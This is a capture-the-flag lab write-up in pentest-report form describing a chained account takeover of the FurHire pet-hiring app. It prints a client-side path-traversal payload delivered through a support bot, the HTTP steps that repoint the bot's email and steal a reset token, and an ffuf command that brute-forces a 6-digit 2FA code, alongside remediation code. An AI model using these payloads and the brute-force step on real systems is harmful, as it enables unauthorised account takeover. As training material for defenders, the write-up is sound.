BugForge — 2026.06.15

FurHire: Client-Side Path Traversal to Account Takeover

BugForge Client-Side Path Traversal to Account Takeover hard

Part 1: Pentest Report

Executive Summary

FurHire is a pet-hiring platform (recruiters post jobs, applicants apply) built on Express with server-rendered pages, page-scoped inline JavaScript, Socket.IO for real-time toasts, and HS256 JWT authentication stored in localStorage. The lab’s stated goal was to demonstrate real impact from a Client-Side Path Traversal (CSPT) rather than just identifying the sink. Testing achieved full account takeover of the privileged support specialist account (pawsitive_hr) by chaining the CSPT against a support-ticket bot, a hidden account-mutation endpoint, an unauthenticated global mailbox, and an unthrottled two-factor verification endpoint.

Testing confirmed four findings:

ID Title Severity CVSS CWE Endpoint
F1 CSPT to privileged account takeover (full chain) Critical 9.0 CWE-441, CWE-73 POST /api/support/tickets
F2 Account email change accepts state-changing input via query string High 7.1 CWE-352 PUT /api/account
F3 Unauthenticated global mailbox discloses all reset tokens High 7.5 CWE-306 GET /api/emails
F4 No rate limiting on two-factor verification High 8.1 CWE-307 POST /api/2fa/verify

Two latent issues were observed but not used in the chain (a cross-user profile write and client-supplied roles at registration); they are recorded under Additional Observations.

The flag-bearing finding is F1. A Client-Side Path Traversal is common and easy to dismiss as low impact, which is exactly what the lab hint baited. The impact here came from recognizing that the forced request runs in the victim’s browser and its response is never returned to the attacker, so the chain had to be built around a state change rather than a read. Repointing the bot’s account email to a domain the attacker can read (instead of trying to leak it) converted the CSPT into a complete takeover of a more-privileged identity, ending in retrieval of the flag from that account’s session.


Objective

Demonstrate concrete impact arising from a Client-Side Path Traversal in the FurHire application, beyond merely confirming the sink exists.


Scope / Initial Access

# Target Application
URL: https://lab-1781457534265-jn2noq.labs-app.bugforge.io/*

# Auth details
Registration: POST /api/register {role,username,email,full_name,password}
  - role is client-supplied via /register?role=  (recruiter or user observed)
Login:        POST /api/login {username,password}
  - returns {token,user} OR {twoFactorRequired:true, pendingId}
Token:        HS256 JWT in localStorage 'token'; claims {id,username,role,iat}
Starting privilege: self-registered recruiter (low privilege)

Accounts were self-registered for testing. The starting position is an ordinary low-privilege recruiter; no credentials for the target (the support specialist) were provided.


Reconnaissance: Reading the Frontend Bundles and Sweeping Verbs

The application surface was mapped from the server-rendered pages, their inline JavaScript, and the static bundles under /public/js/ (app.js, invite.js). An OPTIONS Allow-header sweep across every discovered route was used to enumerate methods the frontend does not reference, which surfaced endpoints that exist server-side but are absent from the bundle.

Observations that shaped the test plan:

  1. /invite loads invite.js, which reads companyId, inviteId, and action from the URL query string and builds a fetch path by direct string concatenation, attaching the caller’s token. This is a CSPT sink (detailed in F1).
  2. POST /api/support/tickets accepts a relative url and is processed by a support specialist who visits that path in an authenticated browser. An absolute URL is rejected with 400, so the visitor reaches only same-origin paths.
  3. GET /api/emails returns all mail addressed to *@labs-app.bugforge.io with no authentication (detailed in F3).
  4. POST /api/account/recover emails a password-reset link to the address on file and responds generically whether or not the address is registered (no account enumeration).
  5. The OPTIONS sweep advertised PUT /api/account, an endpoint referenced nowhere in the frontend. Testing confirmed it changes the calling account’s own email and honors query-string parameters with no request body (detailed in F2).
  6. The invite-detail endpoint ignores the companyId path segment and resolves invitations by inviteId alone, confirming the path passed to the API is loosely validated server-side.

Application Architecture

Component Detail
Backend Express (X-Powered-By: Express)
Frontend Server-rendered HTML, page-scoped inline JS, static bundles /public/js/app.js and invite.js; Socket.IO for real-time toasts
Auth HS256 JWT in localStorage; claims {id,username,role,iat}; roles recruiter and user
Two-factor 6-digit numeric code, delivered out of band; {pendingId,code} verified at POST /api/2fa/verify

API Surface (relevant subset)

Endpoint Method Auth Notes
/api/register POST No role client-supplied via ?role=
/api/login POST No Accepts email in the username field; may return {twoFactorRequired,pendingId}
/api/2fa/verify POST No {pendingId,code}; no rate limit (F4)
/api/account/recover POST No {email}; sends reset link to on-file email; generic response
/api/account/reset POST No {token,newPassword}; token is random 32-hex
/api/account PUT Yes Hidden (not in bundle); changes caller’s own email; honors query string (F2)
/api/emails GET No Global mailbox for *@labs-app.bugforge.io (F3)
/api/support/tickets POST Yes {url,description}; support specialist visits a relative url
/api/companies/{id}/invites/{inviteId} GET, PUT Yes companyId ignored; PUT accepts (no body); the CSPT sink path

Known Users

Username ID Role Notes
pawsitive_hr 4 recruiter “Sarah Johnson”; the support-ticket bot; two-factor enabled; target
haxor 6 recruiter self-registered (attacker)
haxor-seeker 7 user self-registered (attacker)

Attack Chain Visualization

 ┌──────────────────┐    ┌──────────────────┐    ┌──────────────────┐
 │ POST /api/support│    │ Bot opens /invite│    │ invite.js concat │
 │ /tickets         │───▶│ in its own       │───▶│ resolves ../ to  │
 │ url=/invite?...  │    │ authenticated    │    │ PUT /api/account │
 │ ..%2Faccount     │    │ session          │    │ ?email=<ours>    │
 └──────────────────┘    └──────────────────┘    └────────┬─────────┘
                                                           │ bot email repointed
                                                           ▼
 ┌──────────────────┐    ┌──────────────────┐    ┌──────────────────┐
 │ GET /api/flag    │    │ login as bot →   │    │ recover <ours> → │
 │ with bot token   │◀───│ brute 6-digit    │◀───│ read reset link  │
 │ → FLAG           │    │ 2FA (no limit)   │    │ in global mailbox│
 └──────────────────┘    └──────────────────┘    │ → reset password │
                                                  └──────────────────┘

Findings

F1: Client-Side Path Traversal to Privileged Account Takeover

Severity: Critical CVSS v3.1: 9.0 (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H) CWE: CWE-441 (Unintended Proxy or Intermediary ‘Confused Deputy’), CWE-73 (External Control of File Name or Path) Endpoint: POST /api/support/tickets (delivery) into the /invite page’s invite.js (sink) Authentication required: Yes (any low-privilege account, to submit the ticket)

Description

invite.js builds an API path by concatenating URL query parameters with no validation, then issues an authenticated fetch to that path:

// /public/js/invite.js (lines 17-36, abridged)
var params    = new URLSearchParams(window.location.search);
var companyId = params.get('companyId');
var inviteId  = params.get('inviteId');
var action    = params.get('action') || 'view';

// Build the invitations API path from the link parameters
var apiPath = '/api/companies/' + companyId + '/invites/' + inviteId;
var method  = (action === 'accept') ? 'PUT' : 'GET';

fetch(apiPath, {
  method: method,
  headers: { 'Content-Type': 'application/json',
             'Authorization': 'Bearer ' + token }
});

Because companyId and inviteId are placed into the path unmodified, ../ sequences in those values traverse out of the intended /api/companies/.../invites/... prefix, and a query string smuggled into inviteId rides along into the resolved request. The browser normalizes the relative path before sending. action=accept selects PUT. No request body is sent, and the response is written to the page with textContent, so it is not reflected as HTML and is not returned to the attacker.

Two facts make this exploitable rather than cosmetic:

  1. POST /api/support/tickets causes a privileged support specialist to open the submitted relative URL in an authenticated browser, so the attacker chooses which path that privileged session requests.
  2. A hidden PUT /api/account (F2) changes the caller’s own email and reads the value from the query string with no body, which is exactly the shape a no-body forced PUT can reach.

Combined, the attacker forces the support specialist’s browser to repoint its own account email to an attacker-controlled address, then takes the account over through the password-recovery flow (F3) and the unthrottled second factor (F4).

Impact

Full takeover of the privileged support specialist account and retrieval of the flag from its session.

Reproduction

Step 1: Submit a support ticket whose relative URL is a traversal payload.

POST /api/support/tickets HTTP/1.1
Host: lab-1781457534265-jn2noq.labs-app.bugforge.io
Authorization: Bearer eyJhbGci...IO1wSfmv (any valid low-privilege token)
Content-Type: application/json

{"url":"/invite?companyId=..&inviteId=..%2Faccount%3Femail%3Dbotpwn-d2%40labs-app.bugforge.io&action=accept","description":"please review this listing"}
HTTP/1.1 200 OK
X-Powered-By: Express

{"message":"Thanks! A support specialist will review this shortly."}

The decoded inviteId is ../account?email=botpwn-d2@labs-app.bugforge.io. When the support specialist’s browser loads /invite, invite.js builds /api/companies/../invites/../account?email=botpwn-d2@labs-app.bugforge.io, which the browser normalizes to PUT /api/account?email=botpwn-d2@labs-app.bugforge.io, sent with the specialist’s own token. This repoints that account’s email. The path resolution was verified out of band with new URL(apiPath, origin) before firing.

Step 2: Trigger a password reset for the repointed email.

POST /api/account/recover HTTP/1.1
Host: lab-1781457534265-jn2noq.labs-app.bugforge.io
Content-Type: application/json

{"email":"botpwn-d2@labs-app.bugforge.io"}
HTTP/1.1 200 OK

{"message":"If that email is registered, a reset link has been sent."}

The reset link is generated for the support specialist’s account, because that account’s email is now botpwn-d2@labs-app.bugforge.io.

Step 3: Read the reset token from the global mailbox (F3).

GET /api/emails HTTP/1.1
Host: lab-1781457534265-jn2noq.labs-app.bugforge.io
HTTP/1.1 200 OK

[{"to":"botpwn-d2@labs-app.bugforge.io","subject":"Reset your FurHire password","body":"...Use this link to choose a new one: /reset?token=2352301a03083741153a2e216ba3be71"}]

Step 4: Set a new password on the support specialist account.

POST /api/account/reset HTTP/1.1
Host: lab-1781457534265-jn2noq.labs-app.bugforge.io
Content-Type: application/json

{"token":"2352301a03083741153a2e216ba3be71","newPassword":"Pwned123!"}
HTTP/1.1 200 OK

{"message":"Password updated. You can now sign in."}

Step 5: Log in as the support specialist (login accepts the email) and clear two-factor by brute force (F4).

POST /api/login HTTP/1.1
Host: lab-1781457534265-jn2noq.labs-app.bugforge.io
Content-Type: application/json

{"username":"botpwn-d2@labs-app.bugforge.io","password":"Pwned123!"}
HTTP/1.1 200 OK

{"twoFactorRequired":true,"pendingId":"230828a25fec4bfe8594cdb0"}

The 6-digit code was brute-forced against POST /api/2fa/verify (see F4). The successful verification returns the account’s token, user record, and the flag in the same response:

POST /api/2fa/verify HTTP/1.1
Host: lab-1781457534265-jn2noq.labs-app.bugforge.io
Content-Type: application/json

{"pendingId":"230828a25fec4bfe8594cdb0","code":"277266"}
HTTP/1.1 200 OK

{"token":"eyJhbGci...WMtprkU","user":{"id":4,"username":"pawsitive_hr","email":"botpwn-d2@labs-app.bugforge.io","full_name":"bug{520M3i6yV6ypxWeAaOkFssuosTLXxbjA}","role":"recruiter"},"flag":"bug{520M3i6yV6ypxWeAaOkFssuosTLXxbjA}"}

Step 6: Confirm access with the recovered token.

GET /api/flag HTTP/1.1
Host: lab-1781457534265-jn2noq.labs-app.bugforge.io
Authorization: Bearer eyJhbGci...WMtprkU
HTTP/1.1 200 OK

{"flag":"bug{520M3i6yV6ypxWeAaOkFssuosTLXxbjA}"}

Remediation

Fix 1: Do not build API paths by concatenating untrusted parameters. Use them as data, not as path segments.

// BEFORE (vulnerable)
var apiPath = '/api/companies/' + companyId + '/invites/' + inviteId;
fetch(apiPath, { method: action === 'accept' ? 'PUT' : 'GET', ... });

// AFTER (secure)
// Validate the shape, encode each segment, and reject traversal.
if (!/^[0-9]+$/.test(companyId) || !/^[a-f0-9]{32}$/.test(inviteId)) {
  show('This invitation link is invalid.', false);
  return;
}
var apiPath = '/api/companies/' + encodeURIComponent(companyId) +
              '/invites/'     + encodeURIComponent(inviteId);
fetch(apiPath, { method: action === 'accept' ? 'PUT' : 'GET', ... });

Fix 2: Constrain what the support-ticket visitor will load. Restrict the visited url to a known set of safe routes (for example, only /jobs/{id}), reject anything containing .. or a query string before the visit, and do not visit arbitrary application paths with a privileged session.

Additional recommendations:

  • Treat any frontend that assembles request paths from user input as a request-forgery surface and review it accordingly.
  • Have the privileged visitor operate with the minimum privilege needed to triage a ticket, not a full support specialist session.

F2: Account Email Change Accepts State-Changing Input via the Query String

Severity: High CVSS v3.1: 7.1 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N) CWE: CWE-352 (Cross-Site Request Forgery) Endpoint: PUT /api/account Authentication required: Yes

Description

PUT /api/account changes the calling account’s own email address. It accepts the new value from the query string and requires no request body, so the entire state-changing operation can be expressed as PUT /api/account?email=<value>. The endpoint is not referenced anywhere in the frontend and was found through the OPTIONS Allow-header sweep. Because the change needs no body and carries its only input in the URL, it is reachable by any forced request that can choose a path and method, including the CSPT sink in F1. The endpoint changes only the JWT owner’s record; a user_id value was not honored here.

Impact

Allows an account’s email address to be changed by a forged request, which is sufficient to seize the account through the password-recovery flow.

Reproduction

Step 1: Confirm the method exists.

OPTIONS /api/account HTTP/1.1
Host: lab-1781457534265-jn2noq.labs-app.bugforge.io

Response advertised Allow: PUT.

Step 2: Change the caller’s own email with no body, value in the query string.

PUT /api/account?email=attacker@labs-app.bugforge.io HTTP/1.1
Host: lab-1781457534265-jn2noq.labs-app.bugforge.io
Authorization: Bearer <caller token>

The caller’s account email changed to the supplied value. A subsequent GET /api/profile reflected the new address.

Remediation

Fix 1: Require state changes to arrive in the request body, and ignore query-string parameters for mutations.

// BEFORE (vulnerable): query string is honored for a state change
app.put('/api/account', auth, (req, res) => {
  const email = req.body.email || req.query.email;   // query honored
  updateEmail(req.user.id, email);
  res.json({ message: 'Updated' });
});

// AFTER (secure): body-only, with CSRF defenses
app.put('/api/account', auth, csrfProtection, (req, res) => {
  const { email } = req.body;                          // body only
  if (!isValidEmail(email)) return res.status(400).json({ error: 'Invalid email' });
  updateEmail(req.user.id, email);
  res.json({ message: 'Updated' });
});

Additional recommendations:

  • Require re-authentication or confirmation to the existing address before an email change takes effect.
  • Apply anti-CSRF tokens (or SameSite cookies plus origin checks) to all state-changing endpoints.

F3: Unauthenticated Global Mailbox Discloses All Reset Tokens

Severity: High CVSS v3.1: 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) CWE: CWE-306 (Missing Authentication for Critical Function) Endpoint: GET /api/emails Authentication required: No

Description

GET /api/emails returns, without any authentication, every message sent to an address in the labs-app.bugforge.io domain, including password-reset emails and their tokens. Any party can read mail intended for any account whose on-file email is in that domain. Combined with the email-change endpoint (F2), an attacker can move a target account’s email into this readable domain and then read that account’s reset token directly.

Impact

Discloses password-reset tokens for any account using the labs-app.bugforge.io domain, enabling takeover of those accounts.

Reproduction

GET /api/emails HTTP/1.1
Host: lab-1781457534265-jn2noq.labs-app.bugforge.io
HTTP/1.1 200 OK

[{"to":"botpwn-d2@labs-app.bugforge.io","subject":"Reset your FurHire password","body":"...link: /reset?token=2352301a03083741153a2e216ba3be71"}]

No Authorization header was sent; the full reset token was returned.

Remediation

Fix 1: Authenticate the mailbox and scope it to the requesting account.

// BEFORE (vulnerable): returns all mail, no auth
app.get('/api/emails', (req, res) => {
  res.json(getAllEmails());
});

// AFTER (secure): authenticated, scoped to the caller
app.get('/api/emails', auth, (req, res) => {
  res.json(getEmailsForUser(req.user.id));
});

Additional recommendations:

  • Never expose a shared inbox of system mail (reset links, invitations) over an API.
  • Make reset tokens single-use and short-lived so that exposure has a narrow window.

F4: No Rate Limiting on Two-Factor Verification

Severity: High CVSS v3.1: 8.1 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N) CWE: CWE-307 (Improper Restriction of Excessive Authentication Attempts) Endpoint: POST /api/2fa/verify Authentication required: First-factor credentials (password) required to obtain a pendingId

Description

After a successful first-factor login for an account with two-factor enabled, POST /api/login returns {twoFactorRequired:true, pendingId}. The second factor is a 6-digit numeric code verified at POST /api/2fa/verify, which applies no rate limiting or attempt cap, so the entire 000000-999999 space is brute-forceable. The pendingId remained valid across the brute-force run. The successful verification response also returns the account token (and, in this engagement, the flag), so the winning code must be captured in the same run because verification consumes the login attempt.

During post-exploitation review the same code (277266) was returned for two separate logins of the target account, indicating the code did not rotate between logins. A non-rotating code can be reused on later logins once recovered.

Impact

Defeats the second authentication factor by brute force, completing account takeover when the first factor is already known.

Reproduction

Step 1: Obtain a pendingId from a first-factor login.

POST /api/login HTTP/1.1
Content-Type: application/json

{"username":"botpwn-d2@labs-app.bugforge.io","password":"Pwned123!"}
HTTP/1.1 200 OK

{"twoFactorRequired":true,"pendingId":"230828a25fec4bfe8594cdb0"}

Step 2: Brute-force the 6-digit code, capturing the success body.

ffuf -u https://lab-1781457534265-jn2noq.labs-app.bugforge.io/api/2fa/verify \
     -X POST -H "Content-Type: application/json" \
     -d '{"pendingId":"230828a25fec4bfe8594cdb0","code":"FUZZ"}' \
     -w otp-wordlist.txt -mc 200 -t 250 -od captured/

The matching code returned 200 with the account token and flag:

HTTP/1.1 200 OK

{"token":"eyJhbGci...WMtprkU","user":{"id":4,"username":"pawsitive_hr",...},"flag":"bug{520M3i6yV6ypxWeAaOkFssuosTLXxbjA}"}

Remediation

Fix 1: Cap and throttle verification attempts per pendingId and per account.

// BEFORE (vulnerable): unlimited attempts
app.post('/api/2fa/verify', (req, res) => {
  const { pendingId, code } = req.body;
  if (code === codeFor(pendingId)) return res.json(issueSession(pendingId));
  res.status(400).json({ error: 'Invalid verification code' });
});

// AFTER (secure): bounded attempts, invalidate on exhaustion
app.post('/api/2fa/verify', rateLimit2fa, (req, res) => {
  const { pendingId, code } = req.body;
  const attempts = incrementAttempts(pendingId);
  if (attempts > 5) { invalidatePending(pendingId); return res.status(429).json({ error: 'Too many attempts' }); }
  if (code === codeFor(pendingId)) { clearAttempts(pendingId); return res.json(issueSession(pendingId)); }
  res.status(400).json({ error: 'Invalid verification code' });
});

Additional recommendations:

  • Expire the pendingId after a small number of attempts and a short time window.
  • Generate a fresh random code on every login and invalidate it after a single use or expiry.

Additional Observations (not exploited)

  • Medium: cross-user profile write on PUT /api/profile. A user_id field in the request body writes another user’s profile (bio, location, skills). It does not reach the account email, so it was not part of the takeover chain. Maps to a mass-assignment / insecure direct object reference pattern.
  • Low: client-supplied role at registration. POST /api/register honors a role value from ?role=, allowing self-registration as recruiter.
  • Low: companyId ignored on invite lookup. GET/PUT /api/companies/{id}/invites/{inviteId} resolves by inviteId alone, so the company segment in the path is decorative.

OWASP Top 10 Coverage

  • A01:2021 Broken Access Control: the global mailbox (F3) returns other accounts’ mail without authentication; the support-ticket visitor is induced to act as a confused deputy (F1); the invite endpoint ignores the company segment.
  • A07:2021 Identification and Authentication Failures: the second factor can be brute-forced because verification is unthrottled, and the code did not rotate between logins (F4).
  • A04:2021 Insecure Design: a shared, unauthenticated inbox of system mail and an email change reachable without re-authentication or body confirmation are design-level weaknesses that make the chain possible (F2, F3).

Tools Used

Tool Purpose
Caido Proxy and request replay for the support-ticket delivery and chain steps
ffuf Brute-forcing the 6-digit two-factor code, capturing the success body with -od
Node new URL() Previewing how invite.js would resolve the concatenated path before firing it
curl / CLI Reproducing the recover, mailbox read, reset, login, and flag requests
OPTIONS sweep Enumerating hidden verbs and endpoints (surfaced PUT /api/account)

References

  • CWE-441: Unintended Proxy or Intermediary (‘Confused Deputy’). https://cwe.mitre.org/data/definitions/441.html
  • CWE-73: External Control of File Name or Path. https://cwe.mitre.org/data/definitions/73.html
  • CWE-352: Cross-Site Request Forgery. https://cwe.mitre.org/data/definitions/352.html
  • CWE-306: Missing Authentication for Critical Function. https://cwe.mitre.org/data/definitions/306.html
  • CWE-307: Improper Restriction of Excessive Authentication Attempts. https://cwe.mitre.org/data/definitions/307.html
  • OWASP Top 10 (2021): A01, A04, A07. https://owasp.org/Top10/

Part 2: Notes / Knowledge

Key Learnings

  • A Client-Side Path Traversal is only as impactful as the gadget you can reach, and you never see the response, so build the chain around a state change, not a read. A frontend that assembles a fetch path out of URL parameters is common and usually written off as low severity. To find the impact, reason from the constraint: the forced request runs in the victim’s browser with the victim’s authentication, and its response never comes back to you. The useful outcomes are therefore writes whose effect either escalates your own account or deposits a privileged value into a channel you can already read. Pair the sink with a delivery vector that puts a privileged identity behind it (a support bot that visits the submitted link, an admin who opens a notification), then enumerate the same-origin endpoints that identity is allowed to mutate. The bot’s only advantage over you is authorization, so the target is whatever it can write that you cannot.

  • The gadget you want is a self-account-mutation endpoint that reads the query string; repoint the victim’s identity rather than trying to leak it. A forced request carrying no body still carries a query string, so an endpoint that updates the caller’s own email, password, or role from req.query converts that request into account takeover. And when the victim’s email or phone is unknowable, overwrite it with a domain or number you control and run the standard password-recovery flow, instead of burning sessions trying to exfiltrate the original value.


Failed Approaches

Approach Result Why It Failed
Force the bot to accept an invitation in our company as the impact Invites flipped to accepted, but the invite object shows the invited email, not the accepter, and no mail was sent No accepter identity leaks, so the forced action produced no usable signal about the bot
Enumerate company member / team / staff endpoints to leak the bot’s identity /api/companies/{id} and /members, /team, /staff, /users, etc. all 404 No member roster exists anywhere; only /invites is present
Predict or forge the password-reset token Two recovers for the same email returned different 32-hex tokens Tokens are randomly generated per request, not derived from the email
Bypass the second factor with a malformed code (array, number, null, $ne, $gt, $regex) All returned “Invalid verification code” Strict string equality on the code; type-confusion did not apply
Change the account email via PUT /api/profile email in the profile body was ignored for the account email Profile and account email are separate; only PUT /api/account reaches the account email
Recover guessable privileged addresses directly (support@, testing@labs-app) No mail appeared in the mailbox Those addresses are not registered; no privileged labs-app address is guessable, which is why repointing was necessary
Point the support ticket at an external URL (webhook.site) 400 “provide the path of the page” The visitor follows relative paths only; no external request is made

Tags: #cspt #client-side-path-traversal #account-takeover #csrf #2fa-bypass #bugforge #webapp Document Version: 1.0 Last Updated: 2026-06-15

#cspt #client-side-path-traversal #account-takeover #csrf #2fa-bypass #bugforge #webapp